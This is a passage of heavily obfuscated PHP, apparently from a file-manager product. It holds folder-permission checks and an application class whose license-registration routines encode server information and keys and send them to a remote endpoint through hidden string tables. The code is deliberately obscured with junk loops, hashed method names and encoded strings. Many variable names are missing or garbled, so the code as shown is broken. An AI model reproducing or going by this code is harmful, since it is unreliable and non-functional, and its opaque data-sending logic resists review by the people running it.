$[$稜Ǘ] = $ʅ[$稜Ǘ]; } } $Ȝ = $this->userIsRoot($); $ɹ = AuthModel::authAll(); $ؗ = array($[415] => $ɹ, $[1998] => array($[420] => 0, $[1824] => $ɹ, $[421] => LNG($[1999]), $[1840] => $[2000])); $̷ = array(); foreach ($ as $稜Ǘ => $̙) { if ($Ȝ) { $̷[$稜Ǘ] = $ؗ; continue; } $̷[$稜Ǘ] = $this->makeSourceAuth($̙, $, $); } return $̷; } public function authDeepCheck($Ţ, $Օ = false) { $ϗ՘ =& $_SERVER[㫙]; $Օ = $Օ ? $Օ : USER_ID; $Ο = $this->makeAuthDeep($Օ); if (!in_array($Ţ, $Ο[$ϗ՘[2001]])) { return !1; } $ӓ = array(); foreach ($Ο[$ϗ՘[2002]] as $ꜣܭ => $) { if (!in_array($Ţ, $)) { continue; } $ӓ[] = $ꜣܭ; } if (!$ӓ) { return !1; } $ = $ӓ ? $ӓ[0] : $Ţ; return array($ϗ՘[415] => -1, $ϗ՘[466] => array($ϗ՘[420] => $ϗ՘[1184], $ϗ՘[1824] => $ϗ՘[190], $ϗ՘[421] => LNG($ϗ՘[2003]), $ϗ՘[1840] => $ϗ՘[2004]), $ϗ՘[2005] => LNG($ϗ՘[2006]), $ϗ՘[2007] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($澟 = false) { $ =& $_SERVER[㫙]; static $щ = array(); $澟 = $澟 ? $澟 : USER_ID; if (isset($щ[$澟])) { return $щ[$澟]; } $ؑ殦 = Model($[2008])->listData(); $ = array(); foreach ($ؑ殦 as $ٖ) { if ($ٖ[$[414]] == 0 && $ٖ[$[1839]] == $[89]) { $[] = $ٖ[$[392]]; } } $䂞 = $this->userGroupParents($澟); $ഈ = array($[412] => SourceModel::TYPE_USER, $[504] => $澟); if ($䂞) { $ഈ = array(array($[412] => SourceModel::TYPE_USER, $[504] => $澟), array($[412] => SourceModel::TYPE_GROUP, $[504] => array($[419], $䂞)), $[996] => $[1913]); } $ = $this->field($[2009])->where($ഈ)->select(); $ڠ = array(); $ = array_to_keyvalue_group($, $[403]); foreach ($ as $ => $) { $ = $this->authArrayCheck($, $澟); if ($[$[415]] > 0) { $ڠ[] = $ . $[12]; } } if ($䂞) { $ = Model($[522]); foreach ($䂞 as $۬) { $” = $->getInfo($۬); if (!$” || !is_array($”[$[87]])) { continue; } $ڠ[] = $”[$[87]][$[403]]; } } $ԧŘ = array(); $ٰĺ = $䂞; $̹ = Model($[1321]); $ = Model($[522]); $ = array(); $ = array(); $ = array(); $ = array(); if ($ڠ) { $ӳ݊ = $̹->where(array($[403] => array($[419], $ڠ)))->select(); foreach ($ӳ݊ as $) { $ڕ = $̹->parentLevelArray($[$[521]]); $ԧŘ = array_merge($ԧŘ, $ڕ); $ٰĺ[] = $[$[504]]; $[$[$[403]]] = $ڕ; $[$[$[403]]] = $[$[504]]; } } $ٰĺ = array_values(array_unique($ٰĺ)); $گ = $ٰĺ; foreach ($گ as $۬) { $” = $->getInfo($۬); $ڕ = $̹->parentLevelArray($”[$[521]]); $ٰĺ = array_merge($ٰĺ, $ڕ); } $ٰĺ = array_values(array_unique($ٰĺ)); foreach ($ٰĺ as $۬) { $” = $->getInfo($۬); $ԧŘ[] = $”[$[87]][$[403]]; $[$۬] = $”[$[87]][$[403]]; $[$۬] = $̹->parentLevelArray($”[$[521]]); } foreach ($ as $ => $׻) { $ = $[$]; if (!$ || !$[$]) { continue; } $ = array(); foreach ($[$] as $۬) { $[] = $[$۬]; } $[$] = array_merge($, $׻); } $ԧŘ = array_values(array_unique($ԧŘ)); $γ = array($[2001] => $ԧŘ, $[2002] => $); $щ[$澟] = $γ; return $γ; } private function makeSourceAuth($թá, $, $߳ = false) { $ =& $_SERVER[㫙]; $£ͩ = $[89]; $ܢ = $թá[$[504]]; $ҹ = $թá[$[412]] == SourceModel::TYPE_GROUP; $ = $ҹ ? $this->groupRootAuth($ܢ, $߳) : !1; if ($ && Model($[507])->authCheckAction($[$[414]], $[1838])) { return $this->groupAuthInfo($, $ܢ); } $ = Model($[1321])->parentLevelArray($թá[$[521]]); $ = array_merge(array($թá[$[403]]), array_reverse($)); $Շ = !1; foreach ($ as $ݵ) { if (!isset($[$ݵ])) { continue; } $Ҕ = $this->authMake($[$ݵ], $߳); if ($Ҕ[$[466]]) { $Շ = $Ҕ; break; } } if (!$ҹ) { return $Շ; } if (!$Շ && $) { $Շ = $this->groupAuthInfo($, $ܢ); } if (!$Շ) { $ā = Model($[522])->getInfo($ܢ); $Ȉ = explode($[50], trim($ā[$[521]], $[50])); $Ȉ = array_reverse($Ȉ); foreach ($Ȉ as $) { if ($ == $[190] || $ == $£ͩ) { continue; } $ʘ = $this->groupRootAuth($, $߳); if (!$ʘ) { continue; } $Շ = $this->groupAuthInfo($ʘ, $); break; } } if (!$Շ || $Շ[$[415]] <= 0) { $þ = $this->authDeepCheck($թá[$[403]], $߳); if ($þ) { $Շ = $þ; } } return $Շ; } private function userIsRoot($ = false) { $è =& $_SERVER[㫙]; if (!$ && _get($GLOBALS, $è[505])) { return !0; } $ = Model($è[538])->getInfo($); $ = Model($è[2010])->listData($[$è[1528]]); if ($ && $[$è[511]][$è[2011]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $ =& $_SERVER[㫙]; $Ҍ = Model($[1321]); $ڧ = $Ҍ->sourceInfo($); if (!$ڧ) { return !1; } $Ҍ->groupPathDisplay($ڧ); $ = array($ڧ); $ = $Ҍ->_listAppendPath($); $ڧ = $[0]; $ = $ڧ[$[519]]; if (isset($ڧ[$[527]])) { $۰ = explode($[8], trim($ڧ[$[519]], $[8])); array_shift($۰); $ = $ڧ[$[525]] . $[2012] . implode($[8], $۰); } return array($[421] => $ڧ[$[32]], $[78] => KodIO::make($ڧ[$[403]]), $[2013] => $); } private function groupAuthInfo($ɴ, $ہΌ) { $ =& $_SERVER[㫙]; $˽ = Model($[522])->getInfo($ہΌ); return array($[2014] => intval($ɴ[$[414]]), $[1998] => $ɴ, $[2015] => LNG($[2016]), $[2007] => array($[421] => $˽[$[32]], $[78] => KodIO::make($˽[$[87]][$[403]]), $[2013] => $˽[$[526]])); } protected function groupRootAuth($Ƈ, $⍼ = false) { $ =& $_SERVER[㫙]; $⍼ = $⍼ ? $⍼ : USER_ID; $ň = $⍼ . $[2017] . $Ƈ; static $Һ = array(); if (isset($Һ[$ň])) { return $Һ[$ň]; } $د = Model($[522])->getInfo($Ƈ); $ء = $this->userGroupList($⍼); $ = isset($ء[$Ƈ]) ? $ء[$Ƈ][$[414]] : !1; if ($ && Model($[507])->authCheckAction($[$[414]], $[1838])) { $Һ[$ň] = $; return $; } $ȇ = $this->sourceAuthSelect($د[$[87]][$[403]]); $ = $ȇ ? $this->authMake($ȇ, $⍼) : !1; $ = $ ? $[$[466]] : !1; $Һ[$ň] = $ ? $ : $; return $Һ[$ň]; } public function authOwnerApply($) { $أ =& $_SERVER[㫙]; if (empty($[$أ[414]]) || isset($[$أ[2018]]) && $[$أ[2018]]) { return $; } if (AuthModel::authCheckRoot($[$أ[414]][$أ[415]])) { return $; } $ˎ = Model($أ[1321])->parentLevelArray($[$أ[521]]); $ˎ = array_merge(array($[$أ[403]]), array_reverse($ˎ)); $ʓ = $this->sourceAuthSelect($ˎ); $ = array(); $ = array(); foreach ($ʓ as $ => $ǃ) { $ = $this->authFolderOwnerUser($ǃ); $[$] = $; $ = array_merge($, $[$أ[594]]); if ($[$أ[2019]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($[$أ[504]]); } $ = array_unique($); if (AuthModel::authCheckRoot($[$أ[414]][$أ[415]])) { $[] = USER_ID; } $[$أ[414]][$أ[2020]] = Model($أ[513])->userListInfo($); return $; } private function authFolderOwnerGroup($) { $Β =& $_SERVER[㫙]; $Ӆ = Model($Β[1907])->where(array($Β[1818] => $))->select(); $ = array(); if (!$Ӆ) { return $; } foreach ($Ӆ as $ѥ) { $ = $this->authInfo($ѥ); if (AuthModel::authCheckRoot($[$Β[414]])) { $[] = $ѥ[$Β[1650]]; } } return $; } private function authFolderOwnerUser($) { $ў =& $_SERVER[㫙]; $ = array(); $ = !1; foreach ($ as $ē) { $ = $this->authInfo($ē); if ($ē[$ў[504]] == $ў[190]) { $ = !0; } if ($ē[$ў[412]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$ў[414]])) { $[] = $ē[$ў[504]]; } } } return array($ў[594] => $, $ў[2019] => $); } public function authMake($֕, $ = false) { $ =& $_SERVER[㫙]; $ = $this->authArrayCheck($֕, $); if ($[$[2021]]) { $[$[2021]] = $this->sourceAuthInfo($[$[2021]]); } return $; } public function authArrayCheck($ș, $ = false) { $ =& $_SERVER[㫙]; if (!$ș) { return array($[415] => 0, $[466] => !1); } $ = $ ? $ : USER_ID; $ȱ = 0; $Ͽ = 0; $ = 0; $͸ = 0; $Ӻ = 0; $֦ = 0; $ε = 1000; $տ = 0; $쐅 = 0; $ݥ = 0; $ʼ = 0; $ = array($[403] => 0); foreach ($ș as $) { $ = $this->authInfo($); if (!$) { continue; } $ = $[$[504]]; $̵ = intval($[$[414]]); if ($[$[412]] == SourceModel::TYPE_USER && $ == $) { $ȱ = !0; $ = $; $Ͽ = $̵; } else { if ($[$[412]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $)) { $͸ = !0; $ӏ = $this->groupStepToUserGroup($, $); if ($ӏ < $ε) { $ε = $ӏ; $Ӻ = $̵; $֦ = $; $տ = $; } if ($ӏ == $ε && $̵ >= $Ӻ) { $Ӻ = $̵; $֦ = $; $տ = $; } } else { if ($ == $[190]) { $쐅 = !0; $ʼ = $; $ݥ = $̵; } } } } if ($ȱ) { $⚳ = $Ͽ; $ = $; $ת = LNG($[2022]); } else { if ($͸) { $⚳ = $Ӻ; $ = $֦; $ˢ = Model($[522])->getInfo($տ); $ת = $[159] . $ˢ[$[526]] . $[2023] . LNG($[2024]); } else { if ($쐅) { $⚳ = $ݥ; $ = $ʼ; $ת = LNG($[1995]); } else { $⚳ = 0; $ = !1; $ת = $[12]; } } } $ = array($[2014] => intval($⚳), $[1998] => $, $[2015] => $ת, $[2007] => $[$[403]]); return $; } private function groupContainUser($, $ = false) { return in_array($, $this->userGroupParents($)); } private function groupStepToUserGroup($, $‚弚 = false) { $̙ =& $_SERVER[㫙]; $ = $this->userGroupList($‚弚); $ = 1000; $ = $GLOBALS[$̙[6]][$̙[90]][$̙[1918]] == 1; $Ƌ = $ ? 3 : 2; foreach ($ as $) { if ($[$̙[1818]] == $) { return 0; } $ς = explode($̙[50], trim($[$̙[521]], $̙[50])); if ($ς[0] == $̙[190] && count($ς) > $Ƌ) { $Ӻ = array_reverse(array_slice($ς, $Ƌ)); $햩 = array_search($, $Ӻ); if ($햩 !== !1 && $햩 + 1 <= $) { $ = $햩 + 1; } } } return $; } private function userGroupList($ = false) { $̀ =& $_SERVER[㫙]; static $í = array(); if (isset($í[$])) { return $í[$]; } $ۅ = Model($̀[538])->getInfo($); $í[$] = array_to_keyvalue($ۅ[$̀[1996]], $̀[1818]); return $í[$]; } public function userGroupParents($) { $ƶ =& $_SERVER[㫙]; static $ = array(); $ = $ ? $ : USER_ID; if (isset($[$])) { return $[$]; } $ = $this->userGroupList($); $ϭ = array(); $ = $GLOBALS[$ƶ[6]][$ƶ[90]][$ƶ[1918]] == 1; $͵ = $ ? 3 : 2; foreach ($ as $ф) { $ = array($ф[$ƶ[1818]]); $ݽ = explode($ƶ[50], trim($ф[$ƶ[521]], $ƶ[50])); if ($ݽ[0] == $ƶ[190] && count($ݽ) > $͵) { $Ό = array_slice($ݽ, $͵); $ = array_merge($, array_reverse($Ό)); } $ϭ = array_merge($ϭ, $); } $[$] = array_unique($ϭ); return $[$]; } public function authTargetInfoMake($) { $ =& $_SERVER[㫙]; $р = array(); $ = array(); foreach ($ as $̝) { if ($̝[$[412]] == SourceModel::TYPE_USER) { $р[] = intval($̝[$[504]]); } else { if ($̝[$[412]] == SourceModel::TYPE_GROUP) { $[] = intval($̝[$[504]]); } } } if ($р) { $р = Model($[513])->userListInfo($р); } if ($) { $ = array($[1905] => array($[419], $)); $ = Model($[522])->field($[2025])->where($)->select(); $ = array_to_keyvalue($, $[1818]); } return array($[2026] => $р, $[2027] => $); } public function authInfo($ō) { $Պ =& $_SERVER[㫙]; if ($ō[$Պ[1919]]) { $ʁ = Model($Պ[507])->listData($ō[$Պ[1919]]); if (!$ʁ) { return !1; $ȸ = Model($Պ[507])->listData(); $Ԍ = array_filter_by_field($ȸ, $Պ[414], $Պ[190]); return $Ԍ; } $Ԟ = array_field_key($ʁ, array($Պ[392], $Պ[32], $Պ[414], $Պ[1840], $Պ[1841])); $Ԟ[$Պ[2028]] = $ō; return $Ԟ; } else { return array($Պ[420] => 0, $Պ[1824] => $ō[$Պ[1973]], $Պ[421] => $Պ[12], $Պ[1840] => $Պ[2029]); } } } goto E; e癵Ϛ: class Application { private $defaultModule = "\151\156\144\145\170"; private $defaultController = "\151\156\x64\x65\170"; private $defaultAction = "\151\x6e\x64\145\x78"; function __construct() { } public function setDefault($) { $틷 =& $_SERVER[㫙]; $̭ =& $_SERVER[߂ğ]; $ = explode($̭[0], trim($, $̭[0])); $Ζ = $틷[610]; $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $this->defaultController = $[1] ? $[1] : $this->defaultController; $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $this->djly11a078aa($̭[1], array($this, $̭[2])); $ת = $틷[611]; while (strlen($ת) < $틷[612]) { if (!$ת) { break; } $ת++; } } public function appRun($) { $ҥ =& $_SERVER[㫙]; $п =& $_SERVER[߂ğ]; $ĉ = explode($п[0], $); $Ɱ = $ҥ[613]; if (!$Ɱ) { return; } $ത = strtolower($ĉ[0]); $ֿ = $ҥ[614]; if (strlen($ֿ) < $ҥ[399]) { die; } $ = $п[3]; $ = $ҥ[615]; while (strlen($) < $ҥ[616]) { if (!$) { break; } $++; } if ($ത == $п[4]) { $ = $п[5]; $ĉ[0] = $п[6]; $ĉ[1] = $ĉ[1] . $п[7]; $ = join($п[0], $ĉ); $ = trim($, $п[0]); } call_user_func(array($п[8], $п[9]), $ . $п[10], $); ActionCall($); $ = $ҥ[617]; if (!$) { die; } call_user_func(array($п[8], $п[9]), $ . $п[11], $); $ = $ҥ[618]; if (!$) { die; } } private function autorun() { $ =& $_SERVER[㫙]; $џ =& $_SERVER[߂ğ]; global $config; $Σ = $[619]; if (strlen($Σ) < $[612]) { die; } if (count($config[$џ[12]]) == 0) { return; } foreach ($config[$џ[12]] as $ȝ => $ޥ) { $this->appRun($ޥ); $Ӆ = $[620]; while (strlen($Ӆ) < $[621]) { if (!$Ӆ) { break; } $Ӆ++; } } } private function igsc5ffdb6b2() { $л =& $_SERVER[㫙]; $Ԓ =& $_SERVER[߂ğ]; $烞 = $Ԓ[4]; $֜ = $GLOBALS[$Ԓ[13]][$Ԓ[14]][0]; if (!$֜ || strlen($֜) <= strlen($烞)) { return; } if (strtolower(substr($֜, -strlen($烞))) != $烞) { return; } $׬ = substr($֜, 0, -strlen($烞)); $ = array($Ԓ[4], $׬); $ = $л[622]; if (!$) { return; } $ = array_slice($GLOBALS[$Ԓ[13]][$Ԓ[14]], 1); $GLOBALS[$Ԓ[13]][$Ԓ[14]] = array_merge($, $); $扱 = $л[623]; if (strlen($扱) < $л[399]) { die; } $GLOBALS[$Ԓ[13]][$Ԓ[15]] = implode($Ԓ[0], $GLOBALS[$Ԓ[13]][$Ԓ[14]]); } private function oyjf84b2a6c7() { $ =& $_SERVER[㫙]; $Ћ =& $_SERVER[߂ğ]; if ($GLOBALS[$Ћ[13]][$Ћ[15]] != $Ћ[6]) { return; } $̳ = $_SERVER[$Ћ[16]]; $뀈 = $Ћ[17]; if (!strstr($̳, $뀈)) { return; } $ = strrpos($̳, $뀈); $ӎ = $[624]; $Ԡ = substr($̳, $ + strlen($뀈)); preg_match_all($Ћ[18], $Ԡ, $վ); $Ԡ = trim($վ[0][0], $Ћ[19]); $GLOBALS[$Ћ[13]][$Ћ[14]] = explode($Ћ[19], $Ԡ); $ާޓ = $[625]; if (!$ާޓ) { die; } $GLOBALS[$Ћ[13]][$Ћ[15]] = implode($Ћ[0], $GLOBALS[$Ћ[13]][$Ћ[14]]); } public function run() { $ܣ =& $_SERVER[㫙]; $᧼ =& $_SERVER[߂ğ]; $this->oyjf84b2a6c7(); $this->igsc5ffdb6b2(); $ϳ = $GLOBALS[$᧼[13]][$᧼[14]]; $ = $ܣ[626]; while (strlen($) < $ܣ[612]) { if (!$) { break; } $++; } $å = $GLOBALS[$᧼[13]][$᧼[15]]; $ = $ܣ[627]; if (!$) { die; } define($᧼[20], isset($ϳ[0]) && $ϳ[0] ? $ϳ[0] : $this->defaultModule); define($᧼[21], isset($ϳ[1]) && $ϳ[0] ? $ϳ[1] : $this->defaultController); $ꉨ = $ܣ[628]; if (!$ꉨ) { return; } define($᧼[22], isset($ϳ[2]) && $ϳ[0] ? $ϳ[2] : $this->defaultAction); $ؔՖ = $ܣ[629]; if (!$ؔՖ) { return; } define($᧼[23], MOD . $᧼[0] . ST . $᧼[0] . ACT); $˧ = $ܣ[630]; $_SERVER[$᧼[24]] = strtolower(ACTION); $̱ = $ܣ[631]; while ($̱ < $ܣ[616]) { if ($̱ >= 0) { break; } $̱++; } $this->autorun(); if (count($ϳ) >= 3) { $this->appRun($å); } else { $this->appRun(ACTION); } } private $kgxj509f9577 = array(); private $povsb382eacd = ''; public function odej7889cef7() { $۬ =& $_SERVER[㫙]; $ =& $_SERVER[߂ğ]; $this->djozda83c582(); $ = $۬[632]; if (!$) { return; } $this->mdvu3ec12e6d(); $Έ = $۬[633]; while (strlen($Έ) < $۬[399]) { if (!$Έ) { break; } $Έ++; } $this->rsoj763df3d6(); $this->qdbp68bfd33f(); $this->onyc14f7497d(); $this->bawk0ff65ff1(); $ = $۬[634]; while ($ < $۬[621]) { if ($ >= 0) { break; } $++; } $this->zxjh45c1ed14(); $ = $۬[635]; if (!$) { die; } $this->djly11a078aa($[25], array($this, $[26])); $͜ = $۬[636]; if (!$͜) { return; } $this->djly11a078aa($[27], array($this, $[28])); $胢 = $۬[637]; if (strlen($胢) < $۬[638]) { return; } $this->djly11a078aa($[29], array($this, $[30])); $ = $۬[639]; while ($ < $۬[612]) { if ($ >= 0) { break; } $++; } $this->djly11a078aa($[31], array($this, $[32])); } public function xbneefc7207d($) { $ѵ =& $_SERVER[㫙]; $Ƿ =& $_SERVER[߂ğ]; $҉Ŋ = Model($Ƿ[33])->get(); $śԓ = array($Ƿ[34], $Ƿ[35], $Ƿ[36], $Ƿ[37], $Ƿ[38], $Ƿ[39], $Ƿ[40], $Ƿ[41], $Ƿ[42], $Ƿ[43], $Ƿ[44], $Ƿ[45], $Ƿ[46], $Ƿ[47], $Ƿ[48], $Ƿ[49], $Ƿ[50], $Ƿ[51], $Ƿ[52], $Ƿ[53], $Ƿ[54], $Ƿ[55], $Ƿ[56], $Ƿ[57], $Ƿ[58], $Ƿ[59], $Ƿ[60], $Ƿ[61], $Ƿ[62], $Ƿ[63], $Ƿ[64], $Ƿ[65], $Ƿ[66], $Ƿ[67], $Ƿ[68], $Ƿ[69], $Ƿ[70], $Ƿ[71], $Ƿ[72], $Ƿ[73], $Ƿ[74], $Ƿ[75], $Ƿ[76], $Ƿ[77], $Ƿ[78], $Ƿ[79], $Ƿ[80], $Ƿ[81], $Ƿ[82]); foreach ($śԓ as $Ѕ׹) { $ = $GLOBALS[$Ƿ[83]][$Ƿ[84]][$Ѕ׹]; $ = $ѵ[640]; if (!$) { return; } if (isset($҉Ŋ[$Ѕ׹])) { $ = $҉Ŋ[$Ѕ׹]; } $[$Ƿ[85]][$Ƿ[86]][$Ѕ׹] = $; } $ = $[$Ƿ[85]][$Ƿ[86]][$Ƿ[46]]; unset($[$Ƿ[85]][$Ƿ[87]][$Ƿ[88]]); $ݸ = $ѵ[641]; while (strlen($ݸ) < $ѵ[612]) { if (!$ݸ) { break; } $ݸ++; } unset($[$Ƿ[85]][$Ƿ[87]][$Ƿ[89]]); unset($[$Ƿ[85]][$Ƿ[86]][$Ƿ[46]]); $㷩휭 = $ѵ[642]; unset($[$Ƿ[85]][$Ƿ[86]][$Ƿ[90]]); $ʮ = $ѵ[643]; $[$Ƿ[85]][$Ƿ[86]][$Ƿ[91]] = array($Ƿ[92] => (int) $[$Ƿ[93]], $Ƿ[94] => (int) _get($, $Ƿ[95], 0)); $Ǿ = $ѵ[644]; if (strlen($Ǿ) < $ѵ[616]) { return; } $[$Ƿ[96]][$Ƿ[97]] = Action($Ƿ[98])->accessToken(); $Ș = $ѵ[645]; $[$Ƿ[96]][$Ƿ[99]] = md5($_SERVER[$Ƿ[100]] . $҉Ŋ[$Ƿ[101]]); $[$Ƿ[96]][$Ƿ[102]] = base64_encode(serverInfo()); $ɀ = $ѵ[646]; $[$Ƿ[96]][$Ƿ[103]] = $this->povsb382eacd; $ޝ = $ѵ[647]; if ($҉Ŋ[$Ƿ[103]] != $Ƿ[104]) { $[$Ƿ[96]][$Ƿ[105]] = $҉Ŋ[$Ƿ[105]]; $[$Ƿ[96]][$Ƿ[106]] = $҉Ŋ[$Ƿ[106]]; $ş = rand_string(10) . $this->povsb382eacd . rand_string(5); $[$Ƿ[85]][$Ƿ[107]][$Ƿ[108]] = $this->mlarff31877d($ş, $[$Ƿ[96]][$Ƿ[99]]); } if ($this->povsb382eacd == $Ƿ[104]) { $[$Ƿ[85]][$Ƿ[86]][$Ƿ[91]][$Ƿ[95]] = 0; } $[$Ƿ[96]][$Ƿ[109]] = _get($this->kgxj509f9577, $Ƿ[110], $Ƿ[6]); $[$Ƿ[96]][$Ƿ[111]] = _get($this->kgxj509f9577, $Ƿ[112], $Ƿ[6]); $ߨ = $ѵ[648]; if (_get($GLOBALS, $Ƿ[113]) && $this->config[$Ƿ[114]]) { $[$Ƿ[96]][$Ƿ[115]] = WEB_ROOT; } return $; } private function bawk0ff65ff1() { $ޑ =& $_SERVER[㫙]; $ҍ =& $_SERVER[߂ğ]; if ($_SERVER[$ҍ[24]] == $ҍ[116]) { $ = array($ҍ[103] => $this->povsb382eacd, $ҍ[117] => $this->ghko87867608(), $ҍ[118] => Model($ҍ[119])->count()); if ($this->povsb382eacd != $ҍ[104]) { $Ϭ = _get($this->kgxj509f9577, $ҍ[120]); if ($Ϭ) { $[$ҍ[121]] = $Ϭ; $[$ҍ[122]] = strtotime(_get($this->kgxj509f9577, $ҍ[123])); $[$ҍ[124]] = _get($this->kgxj509f9577, $ҍ[112]); } $遈 = Model($ҍ[33])->get($ҍ[125], $ҍ[6], !0); if (is_string($遈) && substr($遈, 0, 1) == $ҍ[126]) { $遈 = json_decode_force($遈); } if (is_array($遈) && $遈[$ҍ[127]] && strstr($遈[$ҍ[127]], $ҍ[128])) { $㩿 = explode($ҍ[128], $遈[$ҍ[127]]); $[$ҍ[129]] = $㩿[0]; } } $ = $this->gdzs2feaadff(json_encode($), md5($ҍ[130])); $Ē = array($ҍ[131] => $); $ᰒս = $ޑ[649]; if (strlen($ᰒս) < $ޑ[399]) { return; } call_user_func(array($ҍ[132], $ҍ[133]), $Ē); } if ($this->povsb382eacd == $ҍ[104]) { return; } $ = array($ҍ[134], $ҍ[135], $ҍ[136], $ҍ[137], $ҍ[138], $ҍ[139]); $גӲ = Model($ҍ[33])->get(); $Ē = array($ҍ[140] => $גӲ[$ҍ[34]], $ҍ[141] => $גӲ[$ҍ[35]], $ҍ[142] => $ҍ[6]); foreach ($ as $׭) { if (!isset($גӲ[$׭]) || !$גӲ[$׭]) { continue; } $Ē[$׭] = $גӲ[$׭]; } call_user_func(array($ҍ[132], $ҍ[133]), $Ē); $Ԗ = $ޑ[650]; } private function qdbp68bfd33f() { $ =& $_SERVER[㫙]; $ު =& $_SERVER[߂ğ]; if ($_SERVER[$ު[24]] != $ު[143]) { return; } if (!_get($GLOBALS, $ު[113])) { die; } $٫ = $GLOBALS[$ު[13]]; if (isset($٫[$ު[144]])) { $this->smof60a857fe(); die; } if (!isset($٫[$ު[145]]) || strlen($٫[$ު[145]]) != 16) { show_json($ު[146] . $٫[$ު[145]], !1); } $ = Model($ު[33])->get($ު[101]); $ݰ = md5($_SERVER[$ު[100]] . $); $ = $[651]; while ($ < $[612]) { if ($ >= 0) { break; } $++; } $Թֺ = array($ު[145] => $٫[$ު[145]], $ު[147] => rand_string(16), $ު[148] => $ު[130], $ު[149] => $ު[150], $ު[151] => $_SERVER[$ު[152]], $ު[153] => $_SERVER[$ު[154]], $ު[155] => $_SERVER[$ު[156]], $ު[99] => $ݰ, $ު[157] => Model($ު[33])->get($ު[125])); if ($٫[$ު[158]] == $ު[159]) { $ݠ = $this->gdzs2feaadff($ݰ, $ު[160]); $ҿ = $this->mlarff31877d(json_encode($Թֺ), $ݰ . $ު[161], 3); $ҿ = $ҿ . $ު[162] . $_SERVER[$ު[152]]; $ǖĹ = $this->jcbuffcdecc5($ު[163] . $ݠ . $ު[164] . $ҿ, -1); show_json($ǖĹ, !0); } else { if ($٫[$ު[158]] == $ު[165]) { $֌ = substr(md5($ު[166] . $ݰ), 12, 15) . $ު[167]; $ҿ = $this->rpfg1643af05(trim($٫[$ު[168]]), $֌, 2); $Ǐ = json_decode($ҿ, !0); if (!is_array($Ǐ) || !is_array($Ǐ[$ު[169]]) || $Ǐ[$ު[145]] != !0) { $‡뛩 = $ު[170]; $ = $Ǐ[$ު[169]] ? $ު[171] . $Ǐ[$ު[169]] : $‡뛩; show_json($, !1); } else { $Թֺ[$ު[147]] = $Ǐ[$ު[169]][$ު[172]]; } } else { $Ǐ = $this->jcbuffcdecc5($ު[173], $Թֺ, 10); $ = $[652]; if (strlen($) < $[399]) { die; } } } if (!is_array($Ǐ) || !is_array($Ǐ[$ު[169]]) || $Ǐ[$ު[145]] != !0) { $‡뛩 = LNG($ު[174]); $ = $Ǐ[$ު[169]] ? $ު[171] . $Ǐ[$ު[169]] : $‡뛩; show_json($, !1); } $ę = $Ǐ[$ު[169]]; $͒Ε = $this->fcajbacaf764($ę[$ު[175]]); $虾 = $[653]; if (!$͒Ε || $͒Ε != $ę[$ު[123]]) { $ȬĂ = array($ު[176] => Model($ު[33])->get($ު[101]), $ު[177] => $_SERVER[$ު[100]], $ު[178] => this_url(), $ު[153] => $_SERVER[$ު[154]]); $ҿ = $this->ofilae3a3477(json_encode($ȬĂ)); $this->jcbuffcdecc5($ު[179] . $ҿ); show_json(LNG($ު[180]), !0); } $• = array($ު[181] => $ę[$ު[182]], $ު[183] => $ę[$ު[184]], $ު[185] => rand_string(16), $ު[103] => $ę[$ު[186]]); if ($Թֺ[$ު[147]]) { $•[$ު[185]] = $Թֺ[$ު[147]]; } $„ = substr(md5($•[$ު[183]]), 10, 10); $ؔ = $„ . $•[$ު[103]] . $•[$ު[185]]; $ = $[654]; if (!$) { die; } $•[$ު[105]] = strrev(base64_encode($this->gdzs2feaadff($ؔ, $ު[187]))); $ = rand_string(16); $ȅ = $ . $•[$ު[103]] . $this->gdzs2feaadff(md5($•[$ު[181]]), $); $衲 = $[655]; while (strlen($衲) < $[638]) { if (!$衲) { break; } $衲++; } $•[$ު[106]] = base64_encode(strrev($this->gdzs2feaadff($ȅ, $ު[188]))); $ = $[656]; if (strlen($) < $[612]) { return; } if ($ę[$ު[189]] && $ę[$ު[189]] >= 1) { Model($ު[33])->setDeep($ު[190], $ު[191]); } Model($ު[33])->set($•); $ɬ = md5($_SERVER[$ު[100]] . strrev($) . $•[$ު[183]]); $ݽӮ = $[657]; while (strlen($ݽӮ) < $[399]) { if (!$ݽӮ) { break; } $ݽӮ++; } $ = strrev(substr($ɬ, 10, 16)); $҃ = $[658]; while ($҃ < $[621]) { if ($҃ >= 0) { break; } $҃++; } $ = $this->mlarff31877d(json_encode($ę), $ɬ); $‹ = array_to_keyvalue(Model($ު[7])->listData(), $ު[192]); $ = $[659]; if (strlen($) < $[616]) { die; } $ľ = $‹[$ު[193]]; $ = $[660]; $ē = array(); $ē[$] = $; $ߑ = $[661]; while (strlen($ߑ) < $[621]) { if (!$ߑ) { break; } $ߑ++; } Model($ު[7])->update($ľ[$ު[194]], array($ު[195] => $ē)); $۶ = $[662]; $this->kgxj509f9577 = $ę; $this->povsb382eacd = $•[$ު[103]]; $Ȩ = $[663]; if (strlen($Ȩ) < $[616]) { die; } $this->licenseRegistSuccess(); $ = $[664]; while (strlen($) < $[621]) { if (!$) { break; } $++; } Cache::set($ު[196] . md5($ . $ު[197]), $ު[6]); show_json(LNG($ު[180]), !0); $ƿԘ = $[665]; if (!$ƿԘ) { return; } } private function licenseRegistSuccess() { $͞ =& $_SERVER[߂ğ]; $ = Model($͞[33])->get(); $ӟ = $_SERVER[㫙][666]; if (!$ӟ) { return; } if ($[$͞[63]] != $͞[191]) { Model($͞[33])->set($͞[63], $͞[191]); } Action($͞[198])->initStart(!0); } private function smof60a857fe() { $ =& $_SERVER[߂ğ]; Model($[33])->set(array($[181] => $[6], $[183] => $[6], $[103] => $[104], $[105] => $[6], $[106] => $[6])); Model($[33])->setDeep($[190], $[199]); $ׁ = $_SERVER[㫙][667]; if (!$ׁ) { die; } $this->kgxj509f9577 = array(); $this->povsb382eacd = $[104]; } private function djozda83c582() { $ =& $_SERVER[㫙]; $ =& $_SERVER[߂ğ]; $_SERVER[$[154]] = _get($_SERVER, $[154], APP_HOST); $݃ = $[668]; if (strlen($݃) < $[399]) { return; } $this->povsb382eacd = $[104]; $Ӻ = $[669]; if (!$Ӻ) { die; } $ = Model($[33])->get(); $ͼ = $[670]; while ($ͼ < $[638]) { if ($ͼ >= 0) { break; } $ͼ++; } if ($[$[103]] == $[104]) { return; } 